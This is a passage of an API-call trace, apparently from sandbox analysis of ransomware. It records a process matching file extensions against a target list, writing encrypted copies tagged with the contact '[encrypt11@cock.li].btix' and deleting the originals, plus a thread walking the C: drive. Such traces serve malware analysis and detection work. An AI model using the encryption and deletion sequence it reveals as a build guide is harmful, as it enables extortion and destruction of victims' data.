lpString2=".WMF") returned -1 [0071.316] lstrlenW (lpString=".xls") returned 4 [0071.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.316] lstrlenW (lpString=".xlsx") returned 5 [0071.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.316] lstrlenW (lpString=".ppt") returned 4 [0071.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0071.316] lstrlenW (lpString=".zip") returned 4 [0071.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.316] lstrlenW (lpString=".rar") returned 4 [0071.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.316] lstrlenW (lpString=".bz2") returned 4 [0071.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.316] lstrlenW (lpString=".7z") returned 3 [0071.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0071.316] lstrlenW (lpString=".dbf") returned 4 [0071.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0071.316] lstrlenW (lpString=".1cd") returned 4 [0071.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0071.316] lstrlenW (lpString=".jpg") returned 4 [0071.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.317] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.317] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0071.317] GetLastError () returned 0x0 [0071.317] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x2332, lpOverlapped=0x0) returned 1 [0071.341] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2340, lpOverlapped=0x0) returned 1 [0071.342] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0071.342] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0071.342] SetEndOfFile (hFile=0x344) returned 1 [0071.342] CloseHandle (hObject=0x344) returned 1 [0071.342] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.342] SetEndOfFile (hFile=0x324) returned 1 [0071.343] CloseHandle (hObject=0x324) returned 1 [0071.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0071.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0071.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0071.344] lstrlenW (lpString=".doc") returned 4 [0071.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.344] lstrlenW (lpString=".docx") returned 5 [0071.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.344] lstrlenW (lpString=".pdf") returned 4 [0071.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.344] lstrlenW (lpString=".xls") returned 4 [0071.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.344] lstrlenW (lpString=".xlsx") returned 5 [0071.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.344] lstrlenW (lpString=".ppt") returned 4 [0071.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0071.344] lstrlenW (lpString=".zip") returned 4 [0071.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.344] lstrlenW (lpString=".rar") returned 4 [0071.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.344] lstrlenW (lpString=".bz2") returned 4 [0071.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.344] lstrlenW (lpString=".7z") returned 3 [0071.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0071.344] lstrlenW (lpString=".dbf") returned 4 [0071.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0071.345] lstrlenW (lpString=".1cd") returned 4 [0071.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0071.345] lstrlenW (lpString=".jpg") returned 4 [0071.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.345] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.345] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0071.345] GetLastError () returned 0x0 [0071.345] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x121a, lpOverlapped=0x0) returned 1 [0071.425] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1220, lpOverlapped=0x0) returned 1 [0071.426] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0071.426] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0071.426] SetEndOfFile (hFile=0x344) returned 1 [0071.426] CloseHandle (hObject=0x344) returned 1 [0071.426] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.426] SetEndOfFile (hFile=0x324) returned 1 [0071.427] CloseHandle (hObject=0x324) returned 1 [0071.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0071.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0071.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0071.428] lstrlenW (lpString=".doc") returned 4 [0071.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.428] lstrlenW (lpString=".docx") returned 5 [0071.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.428] lstrlenW (lpString=".pdf") returned 4 [0071.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.428] lstrlenW (lpString=".xls") returned 4 [0071.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.428] lstrlenW (lpString=".xlsx") returned 5 [0071.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.428] lstrlenW (lpString=".ppt") returned 4 [0071.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0071.428] lstrlenW (lpString=".zip") returned 4 [0071.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.428] lstrlenW (lpString=".rar") returned 4 [0071.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.428] lstrlenW (lpString=".bz2") returned 4 [0071.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.428] lstrlenW (lpString=".7z") returned 3 [0071.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0071.428] lstrlenW (lpString=".dbf") returned 4 [0071.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0071.428] lstrlenW (lpString=".1cd") returned 4 [0071.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0071.429] lstrlenW (lpString=".jpg") returned 4 [0071.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.429] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.429] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0071.429] GetLastError () returned 0x0 [0071.429] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x76ce, lpOverlapped=0x0) returned 1 [0071.473] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x76d0, lpOverlapped=0x0) returned 1 [0071.476] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0071.476] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0071.476] SetEndOfFile (hFile=0x344) returned 1 [0071.476] CloseHandle (hObject=0x344) returned 1 [0071.477] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.477] SetEndOfFile (hFile=0x324) returned 1 [0071.477] CloseHandle (hObject=0x324) returned 1 [0071.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0071.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0071.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0071.478] lstrlenW (lpString=".doc") returned 4 [0071.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.478] lstrlenW (lpString=".docx") returned 5 [0071.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.478] lstrlenW (lpString=".pdf") returned 4 [0071.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.478] lstrlenW (lpString=".xls") returned 4 [0071.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.478] lstrlenW (lpString=".xlsx") returned 5 [0071.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.478] lstrlenW (lpString=".ppt") returned 4 [0071.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0071.478] lstrlenW (lpString=".zip") returned 4 [0071.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.478] lstrlenW (lpString=".rar") returned 4 [0071.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.479] lstrlenW (lpString=".bz2") returned 4 [0071.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.479] lstrlenW (lpString=".7z") returned 3 [0071.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0071.479] lstrlenW (lpString=".dbf") returned 4 [0071.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0071.479] lstrlenW (lpString=".1cd") returned 4 [0071.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0071.479] lstrlenW (lpString=".jpg") returned 4 [0071.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.479] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.480] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0071.480] GetLastError () returned 0x0 [0071.480] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x79cc, lpOverlapped=0x0) returned 1 [0071.497] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x79d0, lpOverlapped=0x0) returned 1 [0071.498] ReadFile (in: hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0071.498] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0071.498] SetEndOfFile (hFile=0x344) returned 1 [0071.498] CloseHandle (hObject=0x344) returned 1 [0071.498] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.499] SetEndOfFile (hFile=0x324) returned 1 [0071.499] CloseHandle (hObject=0x324) returned 1 [0071.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0071.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0071.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0071.500] lstrlenW (lpString=".doc") returned 4 [0071.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.500] lstrlenW (lpString=".docx") returned 5 [0071.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.500] lstrlenW (lpString=".pdf") returned 4 [0071.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.500] lstrlenW (lpString=".xls") returned 4 [0071.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.500] lstrlenW (lpString=".xlsx") returned 5 [0071.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.500] lstrlenW (lpString=".ppt") returned 4 [0071.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0071.500] lstrlenW (lpString=".zip") returned 4 [0071.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.500] lstrlenW (lpString=".rar") returned 4 [0071.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.501] lstrlenW (lpString=".bz2") returned 4 [0071.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.501] lstrlenW (lpString=".7z") returned 3 [0071.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0071.501] lstrlenW (lpString=".dbf") returned 4 [0071.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0071.501] lstrlenW (lpString=".1cd") returned 4 [0071.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0071.501] lstrlenW (lpString=".jpg") returned 4 [0071.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.501] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.501] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0071.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0071.501] GetLastError () returned 0x0 [0071.501] ReadFile (hFile=0x324, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0) Thread: id = 21 os_tid = 0xb84 [0040.850] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x3ce1268 [0040.850] lstrlenW (lpString="C:") returned 2 [0040.850] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38efcf8 | out: lpFindFileData=0x38efcf8) returned 0x6a9a18 [0040.855] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0040.855] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0040.855] lstrlenW (lpString="$GetCurrent") returned 11 [0040.855] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0040.855] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4270048 [0040.856] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0040.856] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 0x42805c0 [0040.923] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0040.923] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0040.924] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0040.924] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0040.924] lstrlenW (lpString="Logs") returned 4 [0040.924] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0040.924] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0040.924] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0040.924] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280640 [0040.942] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.960] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0040.960] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0040.960] lstrlenW (lpString=".1cd") returned 4 [0040.960] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0040.960] lstrlenW (lpString=".3ds") returned 4 [0040.960] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0040.960] lstrlenW (lpString=".3fr") returned 4 [0040.960] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0040.960] lstrlenW (lpString=".3g2") returned 4 [0040.961] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0040.961] lstrlenW (lpString=".3gp") returned 4 [0040.961] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0040.961] lstrlenW (lpString=".7z") returned 3 [0040.961] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0040.961] lstrlenW (lpString=".accda") returned 6 [0040.961] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0040.961] lstrlenW (lpString=".accdb") returned 6 [0040.961] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0040.961] lstrlenW (lpString=".accdc") returned 6 [0040.961] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0040.961] lstrlenW (lpString=".accde") returned 6 [0040.961] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0040.961] lstrlenW (lpString=".accdt") returned 6 [0040.961] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0040.961] lstrlenW (lpString=".accdw") returned 6 [0040.961] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0040.961] lstrlenW (lpString=".adb") returned 4 [0040.961] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0040.961] lstrlenW (lpString=".adp") returned 4 [0040.961] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0040.961] lstrlenW (lpString=".ai") returned 3 [0040.961] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0040.961] lstrlenW (lpString=".ai3") returned 4 [0040.961] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0040.961] lstrlenW (lpString=".ai4") returned 4 [0040.961] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0040.961] lstrlenW (lpString=".ai5") returned 4 [0040.961] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0040.962] lstrlenW (lpString=".ai6") returned 4 [0040.962] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0040.962] lstrlenW (lpString=".ai7") returned 4 [0040.962] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0040.962] lstrlenW (lpString=".ai8") returned 4 [0040.962] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0040.962] lstrlenW 